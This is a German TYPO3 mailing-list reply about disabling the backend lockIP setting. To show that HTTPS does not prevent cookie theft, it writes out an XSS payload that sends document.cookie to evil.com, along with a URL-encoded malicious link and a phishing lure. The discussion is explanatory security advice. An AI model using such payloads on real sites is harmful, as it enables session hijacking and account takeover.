[TYPO3-german] [TYPO3 german] TYPO3 4.2.6 und 4.3.0alpha2 Logout sofort nach Login im Backend

[Christian Wolff]

Martin Schoenbeck schrieb:
> Hallo Andreas,
> 
> Andreas Becker schrieb:
> 
>> Kann uns einer der sich mit Sicherheit gut auskennt nun einmal erklaeren wie
>> unsicher nun das System wird, wenn man diesen Wert auf "0" setzt. (Andere
>> Loesung haben wir bisher leider nicht gefunden, den auch doNotCheckRefferer
>> = 1 brachte keinen Erfolg.
> 
> Jemand, der Dein Login-Cookie klaut, kann sich damit auf einem anderen
> Rechner gegenüber Deiner TYPO3-Installation authentifizieren. Allerdings
> nur solange Du eingeloggt bleibst. Wenn Du komplett per https arbeitest
> (dringend zu empfehlen), dann muß er dazu Zugang zu Deinem Rechner haben. 
> 
> Schau doch als erstes mal im Protokoll nach, ob da etwas auffällig ist. Da
> werden ja die Anmeldungen mitsamt IP-Adresse aufgezeichnet.
> 
> Gruß Martin

Hi Martin,
https ist ist natürlich eine gute maßname. aber man sollte nicht davon
ausgehen das es das stehelen deines cookies unmöglich macht.

folgens javascript würde auch trotz https deinen cookie klauen:

<script>
new Image().src="https://evil.com/log.php?c="+encodeURI(document.cookie);
</script>


vorrausgesetzt jemand schaft es das auf irgend eine weise das auf deiner
domain zu platzieren.

z.b durch eine extension die URL Parameter wieder auf der seite ausgibt.
dann könnte eine entsprechende URL den angrif enthalten.

und der angreifer schreibt dir einfach eine mail:
hey auf deiner seite passiert irgendwas komisches. hier die URL:

https://www.good.de/index.php?id=13&tx_badExt%5Bdata%5D=%3Cscript%3E+new+Image().src%3D%22http%3A%2F%2Fevil.com%2Flog.cgi%3Fc%3D%22%2BencodeURI(document.cookie)%3B+%3C%2Fscript%3E

du klickst guten glaubens auf die den link. und das script würde den
cookie auf evil.com loggen. vorrausgesetzt du warst gerade angemeldet.

lockIP abzuschalten alleine ist keine sicherheitslück es setzt aber den
schwierigkeits grad für einen angreifer herunter.

gruss chris


-- 
Christian Wolff // Berlin
http://www.connye.com

some projects:
http://richtermediagroup.com | http://titanic.de |
http://fairplay-homepage.de